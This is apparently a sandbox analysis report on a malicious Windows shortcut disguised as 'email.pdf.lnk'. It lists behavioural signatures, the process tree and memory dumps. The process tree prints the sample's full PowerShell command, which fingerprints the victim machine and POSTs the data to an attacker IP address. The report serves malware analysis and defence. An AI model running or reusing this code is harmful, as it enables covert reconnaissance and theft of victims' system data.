Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03/04/2024, 15:35

General

  • Target
    email.pdf.lnk
  • Size 11KB
  • Sample240403-s1bvxafc95
  • SHA256 c9a10c0c41de776ac52bf65d813a348d2d4cbb24b566c4ef91debcdb438d5a37
  • MD5 SHA1 SHA512 SSDEEP
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\email.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\SysWOW64\cmd.exe" /k powershell "$name='test';try{$start=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{Add-Type -AssemblyName System.Windows.Forms;}catch{};try {$screenBounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$screenWidth=$screenBounds.Width;$screenHeight=$screenBounds.Height;}catch {};try{$processors=(Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors;}catch {};try{$computername=$env:computername;}catch {};try{$username=$env:username;}catch{};try{$x=[System.Windows.Forms.Cursor]::Position.X;$y=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$DLLS=New-Object System.Collections.ArrayList;$LoadedDLLs=Get-Process|Select -Expand Modules -ErrorAction SilentlyContinue;ForEach ($dll in $LoadedDLLs) {if($dll.modulename.endswith('.dll', [StringComparison]::Ordinal)){[void]$DLLS.Add($dll.FileName);}}}catch{};try{$Processes=New-Object System.Collections.ArrayList;$RunningProcesses=Get-Process;ForEach ($process in $RunningProcesses) {[void]$Processes.Add($process.ProcessName);}}catch{};try{$x1=[System.Windows.Forms.Cursor]::Position.X;$y1=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$memory=(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576;}catch{};try{$diskSize=(GWMI -Class Win32_LogicalDisk|Measure-Object -Sum Size|Select-Object -Expand Sum) / 1073741824 }catch{};try{$MACAddresses=Get-WmiObject Win32_NetworkAdapterConfiguration|Select -ExpandProperty MACAddress}catch{};try{$runningProcesses=(Get-Process).count}catch{};try{$regSize=GWMI -Class Win32_Registry|Select-Object -Expand CurrentSize}catch{};try{$domain=(Get-WMIObject -Class Win32_ComputerSystem).Domain}catch{};try{$x2=[System.Windows.Forms.Cursor]::Position.X;$y2=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$end=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{$ip=curl 'http://ip-api.com/json/?fields=status,message,country,isp,org,mobile,proxy,hosting,query' -UseBasicParsing;}catch{};$myObject=[PSCustomObject]@{name=$name;screen=$screenWidth.toString()+':'+$screenHeight.toString();processors=$processors;computername=$computername;username=$username;cursor=$x.toString()+':'+$y.toString()+'|'+$x1.toString()+':'+$y1.toString()+'|'+$x2.toString()+':'+$y2.toString();dlls=$DLLS;processes=$Processes;memory=$memory;disksize=$diskSize;mac=$MACAddresses;runningProcesses=$runningProcesses;regSize=$regSize;domain=$domain;ip=$ip.content;start=$start;end=$end};$u='http'+'://185.236'+'.228.29/get/info';curl -method POST -body ($myObject|ConvertTo-Json) -uri $u -UseBasicParsing;"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "$name='test';try{$start=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{Add-Type -AssemblyName System.Windows.Forms;}catch{};try {$screenBounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$screenWidth=$screenBounds.Width;$screenHeight=$screenBounds.Height;}catch {};try{$processors=(Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors;}catch {};try{$computername=$env:computername;}catch {};try{$username=$env:username;}catch{};try{$x=[System.Windows.Forms.Cursor]::Position.X;$y=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$DLLS=New-Object System.Collections.ArrayList;$LoadedDLLs=Get-Process|Select -Expand Modules -ErrorAction SilentlyContinue;ForEach ($dll in $LoadedDLLs) {if($dll.modulename.endswith('.dll', [StringComparison]::Ordinal)){[void]$DLLS.Add($dll.FileName);}}}catch{};try{$Processes=New-Object System.Collections.ArrayList;$RunningProcesses=Get-Process;ForEach ($process in $RunningProcesses) {[void]$Processes.Add($process.ProcessName);}}catch{};try{$x1=[System.Windows.Forms.Cursor]::Position.X;$y1=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$memory=(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576;}catch{};try{$diskSize=(GWMI -Class Win32_LogicalDisk|Measure-Object -Sum Size|Select-Object -Expand Sum) / 1073741824 }catch{};try{$MACAddresses=Get-WmiObject Win32_NetworkAdapterConfiguration|Select -ExpandProperty MACAddress}catch{};try{$runningProcesses=(Get-Process).count}catch{};try{$regSize=GWMI -Class Win32_Registry|Select-Object -Expand CurrentSize}catch{};try{$domain=(Get-WMIObject -Class Win32_ComputerSystem).Domain}catch{};try{$x2=[System.Windows.Forms.Cursor]::Position.X;$y2=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$end=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{$ip=curl 'http://ip-api.com/json/?fields=status,message,country,isp,org,mobile,proxy,hosting,query' -UseBasicParsing;}catch{};$myObject=[PSCustomObject]@{name=$name;screen=$screenWidth.toString()+':'+$screenHeight.toString();processors=$processors;computername=$computername;username=$username;cursor=$x.toString()+':'+$y.toString()+'|'+$x1.toString()+':'+$y1.toString()+'|'+$x2.toString()+':'+$y2.toString();dlls=$DLLS;processes=$Processes;memory=$memory;disksize=$diskSize;mac=$MACAddresses;runningProcesses=$runningProcesses;regSize=$regSize;domain=$domain;ip=$ip.content;start=$start;end=$end};$u='http'+'://185.236'+'.228.29/get/info';curl -method POST -body ($myObject|ConvertTo-Json) -uri $u -UseBasicParsing;"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2552

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2552-38-0x00000000741E0000-0x000000007478B000-memory.dmp

        memory/2552-39-0x00000000741E0000-0x000000007478B000-memory.dmp

        memory/2552-40-0x00000000027D0000-0x0000000002810000-memory.dmp

        memory/2552-41-0x00000000027D0000-0x0000000002810000-memory.dmp

        memory/2552-42-0x00000000027D0000-0x0000000002810000-memory.dmp

        memory/2552-43-0x00000000741E0000-0x000000007478B000-memory.dmp